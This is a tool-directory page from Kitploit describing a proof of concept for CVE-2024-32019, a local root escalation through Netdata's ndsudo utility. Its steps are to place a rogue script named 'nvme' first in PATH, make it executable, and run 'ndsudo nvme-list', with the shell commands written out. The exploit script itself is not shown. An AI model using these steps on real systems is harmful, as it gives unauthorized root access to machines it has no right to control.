Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-32019_poc — This is an alternative poc for the CVE-2024-32019 written in python | Kitploit
Tools/GitHubGitHub/hexared/cve-2024-32019_poc
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationPenetration TestingRed Teaming
GitHubhexared/cve-2024-32019_poc

CVE-2024-32019_poc

This is an alternative poc for the CVE-2024-32019 written in python

View Repository
10 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Privilege Escalation via ndsudo (Netdata Local Exploit)

This is an alternative POC to exploit a vulnerable ndsudo utility bundled with Netdata to perform a local privilege escalation. The exploit works by adding the script inside the user’s PATH substituting an allowed command (nvme) by ndsudo and execute it as root.


Prerequisites & Assumptions 📜

  • Local shell access on the target system.
  • Python3 on the target machine
  • Possibilty to execute the ndsudo command.

Steps

1. Script 🔨

You can either create or upload the script directly to the target machine as long as it's called as one of the allowed commands. To check the allowed commands by ndsudo just launch ndsudo --help.

For this poc we'll use the command nvme-list, so the script will be called nvme.


2. PATH injection 💉

Once the script has been created and named after an allowed command by ndsudo we need to inject it at the beginning of the PATH variable so it will be the first one to be found and executed

root@kitploit:~
export PATH="/tmp/nvme:$PATH"

3. Execution permissions 🔫

Obviusly the script needs to have execution permissions

root@kitploit:~
chmod +x /tmp/nvme

4. Trigger the Exploit 💥

Once everything is set up, just launch ndsudo with the rogue script and you're root.

root@kitploit:~
ndsudo nvme-list

Resources 📚

  • Netdata Github Advisory: https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93

Hack responsibly 💀

Download Tool